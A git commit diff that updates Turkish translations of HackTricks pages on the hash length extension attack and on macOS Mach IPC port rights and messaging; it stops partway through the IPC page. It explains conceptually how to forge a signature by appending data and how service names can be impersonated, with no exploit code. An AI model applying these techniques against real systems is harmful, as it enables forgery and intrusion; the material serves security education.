Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog

This commit is contained in:
Translator 2024-07-17 18:36:54 +00:00
parent 5602382e55
commit d4753ac920
8 changed files with 858 additions and 762 deletions

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -30,7 +30,7 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
## Saldırının Özeti
Bir sunucuyu hayal edin ki **bazı verileri** **imzalıyor** ve bunun için bilinen açık metin verilerine bir **gizli** ekleyip bu veriyi ardından karma işlemine tabi tutuyor. Eğer şunları biliyorsanız:
Bir sunucuyu hayal edin, bazı **verileri** imzalayarak bilinen açık metin verilerine bir **gizli** ekleyip ardından bu veriyi karmaşık hale getiriyor. Eğer şunları biliyorsanız:
* **Gizli bilginin uzunluğu** (bu aynı zamanda belirli bir uzunluk aralığından kaba kuvvet saldırısı ile de bulunabilir)
* **Açık metin verisi**
@ -43,7 +43,7 @@ O zaman, bir **saldırganın** **veri ekleyip** ve **önceki veri + eklenen veri
### Nasıl?
Temelde savunmasız algoritmalar, öncelikle bir veri bloğunu karma işlemine tabi tutarak karma değerlerini oluşturur ve ardından, **önceki** oluşturulan **karma** (durum) **veriden** başlayarak, **bir sonraki veri bloğunu ekler ve onu karmaya tabi tutar**.
Temelde savunmasız algoritmalar, önce bir **veri bloğunu karmaşık hale getirerek** karma oluşturur ve ardından, **önceki** oluşturulan **karmadan** (durumdan) başlayarak, **bir sonraki veri bloğunu ekler ve karma oluşturur**.
Sonra, gizli bilginin "gizli" ve verinin "veri" olduğunu hayal edin, "gizliveri"nin MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
Bir saldırgan "ekle" dizesini eklemek isterse:
@ -75,14 +75,14 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** alın](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,42 +1,42 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
# Saldırının Özeti
Bir sunucuyu düşünün, bu sunucu bazı bilinen açık metin verilere bir **gizli** değer ekleyerek ve ardından bu veriyi karma ileme işlemine tabi tutarak **imzalama** işlemi gerçekleştiriyor. Eğer şunları biliyorsanız:
Bir sunucuyu hayal edin, bu sunucu bazı **verileri** imzalıyor, bilinen açık metin verilerine bir **gizli** ekleyerek ve ardından bu veriyi karma ile işleyerek. Eğer şunları biliyorsanız:
* **Gizli değerin uzunluğu** (bu uzunluk aralığından da brute force yöntemiyle bulunabilir)
* **Açık metin verileri**
* **Gizli bilginin uzunluğu** (bu aynı zamanda belirli bir uzunluk aralığından kaba kuvvet saldırısı ile de bulunabilir)
* **Açık metin verisi**
* **Algoritma (ve bu saldırıya karşı savunmasız)**
* **Doldurma biliniyor**
* Genellikle varsayılan bir doldurma kullanılır, bu yüzden diğer 3 gereklilik sağlandığında bu da sağlanır
* Doldurma, gizli değer+veri uzunluğuna bağlı olarak değişir, bu yüzden gizli değerin uzunluğuna ihtiyaç vardır
* **Dolgulama biliniyor**
* Genellikle varsayılan bir dolgulama kullanılır, bu yüzden diğer 3 gereklilik karşılanıyorsa, bu da karşılanır
* Dolgulama, gizli bilgi+veri uzunluğuna bağlı olarak değişir, bu yüzden gizli bilginin uzunluğuna ihtiyaç vardır
O zaman, bir **saldırganın** **veriye** **ekleme** yapması ve **önceki veri + eklenen veri** için geçerli bir **imza** oluşturması mümkündür.
O zaman, bir **saldırganın** **veri ekleyebilmesi** ve **önceki veri + eklenen veri** için geçerli bir **imza oluşturabilmesi** mümkündür.
## Nasıl?
Temel olarak, savunmasız algoritmalar öncelikle bir **veri bloğunu karma** işlemine tabi tutarlar ve ardından **önceden** oluşturulmuş **karma** (durum) **değerinden** başlayarak **bir sonraki veri bloğunu eklerler** ve **karma işlemine tabi tutarlar**.
Temelde savunmasız algoritmalar, öncelikle bir veri bloğunu karma ile işleyerek karma oluştururlar, ve ardından, **önceki** oluşturulan **karmadan** (durumdan) başlayarak, **bir sonraki veri bloğunu eklerler** ve **karma işlerler**.
Öyleyse, gizli değer "gizli" ve veri "veri" ise, "gizliveri"nin MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
Bir saldırgan, "ekleme" dizesini eklemek istiyorsa:
Sonra, gizli bilginin "gizli" ve verinin "veri" olduğunu hayal edin, "gizliveri"nin MD5'i 6036708eba0d11f6ef52ad44e8b74d5b.\
Bir saldırgan "ekle" dizesini eklemek isterse:
* 64 "A"nın MD5'ini oluşturabilir
* Önceden başlatılmış karma işleminin durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştirebilir
* "ekleme" dizesini ekleyebilir
* Karma işlemini tamamlayabilir ve elde edilen karma, **"gizli" + "veri" + "doldurma" + "ekleme"** için **geçerli bir imza** olacaktır
* 64 "A"nın MD5'ini oluşturur
* Daha önceden başlatılmış karma durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştirir
* "ekle" dizesini ekler
* Karmayı tamamlar ve sonuçta elde edilen karma, "gizli" + "veri" + "dolgulama" + "ekle" için **geçerli bir tane olacaktır**
## **Araç**
@ -44,19 +44,19 @@ Bir saldırgan, "ekleme" dizesini eklemek istiyorsa:
## Referanslar
Bu saldırıyı iyi bir şekilde açıklayan kaynağı [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz.
Bu saldırının iyi açıklandığını bulabilirsiniz [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

File diff suppressed because one or more lines are too long

View file

@ -1,4 +1,4 @@
# macOS IPC - Inter Process Communication
# macOS IPC - İşlem Arası İletişim
<details>
@ -6,74 +6,74 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) bulun
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Mach Mesajlaşması Portlar Aracılığıyla
## Portlar Aracılığıyla Mach Mesajlaşması
### Temel Bilgiler
Mach, kaynakları paylaşmak için **görevleri** en küçük birim olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemlerine ve iş parçacıklarına 1:1 olarak eşlenir**.
Mach, kaynakları paylaşmak için **görevleri** en küçük birim olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**.
Görevler arasındaki iletişim, Mach Arası İşlem İletişimi (IPC) aracılığıyla gerçekleşir ve **mesajlar portlar arasında aktarılır**, bu portlar çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**.
Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) kullanılarak gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**.
Her işlemde bir **IPC tablosu** bulunur, burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Her işlemde bir **IPC tablosu** bulunur ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Bir işlem ayrıca bir port adını **farklı bir göreve** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler** şeklinde gönderebilir.
Bir işlem ayrıca bir port adını bazı haklarla **farklı bir göreve gönderebilir** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler**.
### Port Hakları
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlamalar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde her bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, burada birden fazla işlemin aynı borunun okuma ucuna dosya tanımlayıcıları tutabileceği durumdan farklıdır).
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, birden fazla işlemin bir borunun okuma ucuna ait dosya tanımlayıcılarına sahip olabileceği yerlerde).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi kendi portu üzerinde Alma hakkına sahiptir**.
* **Gönderme hakkı**, porta mesaj göndermeyi sağlar.
* Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Bir kez gönderme hakkı**, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar.
* **Port kümesi hakkı**, tek bir porttan ziyade bir _port kümesini_ belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birkaç porta aynı anda dinlemek için kullanılabilir.
* Gönderme hakkı **kopyalanabilir**, böylece Gönderme hakkına sahip bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Bir kez gönderme hakkı**, bir mesajı porta göndermeyi ve ardından kaybolmayı sağlar.
* **Port kümesi hakkı**, bir _port kümesini_ değil tek bir portu belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi aynı anda birkaç porta dinlemek için kullanılabilir.
* **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm var olan port hakları ölü adlara dönüşür.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da kopyalanabilir**, böylece bir görev hakkı çoğaltabilir ve **üçüncü bir göreve verebilir**. Bu, **aracı bir süreç olan** **başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yeteneği kazandırabilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. Bu, **aracı bir süreç olan başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
### Dosya Portları
Dosya portları, Mac portlarında dosya tanımlayıcılarını (Mach port haklarını kullanarak) kapsüllüyebilir. Belirli bir FD'den bir `fileport` oluşturmak için `fileport_makeport` kullanarak ve bir FD'den fileport oluşturmak için `fileport_makefd` kullanarak mümkündür.
Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port haklarını kullanarak) kapsüllüyebilir. Belirli bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir FD'yi bir fileport'tan `fileport_makefd` kullanarak oluşturmak mümkündür.
### İletişim Kurma
### İletişim Kanalı Kurma
#### Adımlar:
İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'de **launchd**) devreye girer.
1. Görev **A**, bir **yeni port başlatır** ve işlemde bir **ALMA hakkı** elde eder.
2. ALMA hakkının sahibi olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar**, portun **hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem **başlangıç kaydı** olarak bilinir.
4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak** için **başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını çoğaltır** ve **Görev B'ye iletir**.
5. GÖNDERME hakkı elde ettikten sonra, Görev **B**, bir **mesaj oluşturabilir** ve bunu **Görev A'ya gönderebilir**.
6. İki yönlü iletişim için genellikle Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir**, böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
1. Görev **A**, bir **yeni port başlatır** ve işlemde bir **ALMA hakkı alır**.
2. ALMA hakkına sahip olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve **portun hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem **başlangıç kaydı** olarak bilinen bir prosedür aracılığıyla gerçekleşir.
4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak üzere başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
5. Bir GÖNDERME hakkı elde ettikten sonra, Görev **B**, bir **mesaj oluşturabilir** ve bunu **Görev A'ya gönderebilir**.
6. İki yönlü bir iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar, bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili de saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı aranırken, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:
* Görev **B**, bir hizmet adı için başlangıç **araması başlatır**.
* **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
* Görev **A** (hizmet), bir **başlangıç kontrolü** gerçekleştirir. Burada, **başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır**.
* launchd, **GÖNDERME hakkını çoğaltır ve Görev B'ye iletir**.
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** (hizmet), böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
* launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** (hizmet) böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler hala önceki şekilde çalışır, bu da potansiyel olarak taklit edilmesine izin verebilir.
### Bir Mach Mesajı
[Daha fazla bilgi burada bulunabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
[Daha fazla bilgi için buraya bakın](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` işlevi, temelde bir sistem çağrısı olan Mach mesajlarını göndermek ve almak için kullanılır. İşlev, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:
```c
@ -86,34 +86,34 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
**Alma hakkına sahip olan işlemler, bir Mach bağlantı noktasında iletileri alabilir. Tersine, gönderenlere bir _**gönderme**_ veya bir _**bir kereye mahsus gönderme hakkı**_ verilir. Bir kereye mahsus gönderme hakkı, yalnızca bir ileti göndermek için kullanılır ve ardından geçersiz hale gelir.
İşlemci, bir Mach bağlantı noktasında mesaj alabilen bir _**alma hakkına sahipse**_. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı yalnızca bir mesaj göndermek için kullanılır, ardından geçersiz hale gelir.
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, _yanıt bağlantı noktası_ olarak adlandırılan bir Mach **ileti başlığı** içinde bir **mach bağlantı noktası** belirtebilir (**`msgh_local_port`**), iletiyi alan kişinin bu iletiye bir yanıt gönderebilmesi için. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kereye mahsus gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Kolay **iki yönlü iletişim** sağlamak için bir işlem, **yanıt bağlantı noktası** olarak adlandırılan bir Mach **mesaj başlığında bir mach bağlantı noktası** belirtebilir (**`msgh_local_port`**), mesajın **alıcısı** bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kez gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Bu tür iki yönlü iletişimin XPC iletilerinde kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturulur, önceki açıklandığı gibi iki yönlü iletişimi oluşturmak için.
Bu tür iki yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturmak için önceki açıklamalarda açıklandığı gibi iki yönlü iletişim oluşturulur.
{% endhint %}
İleti başlığının diğer alanları şunlardır:
Mesaj başlığının diğer alanları şunlardır:
- `msgh_size`: tüm paketin boyutu.
- `msgh_remote_port`: bu ileti gönderilen bağlantı noktası.
- `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası.
- `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id`: bu ileti ID'si, alıcı tarafından yorumlanır.
- `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır.
{% hint style="danger" %}
**Mach iletileri, Mach çekirdeğine yerleştirilmiş olan, tek alıcı, çoklu gönderici iletişim kanalı olan bir _mach bağlantı noktası_ üzerinden gönderilir.** Birden fazla işlem, bir mach bağlantı noktasına ileti gönderebilir, ancak herhangi bir zamanda yalnızca **bir işlem** ondan **okuyabilir**.
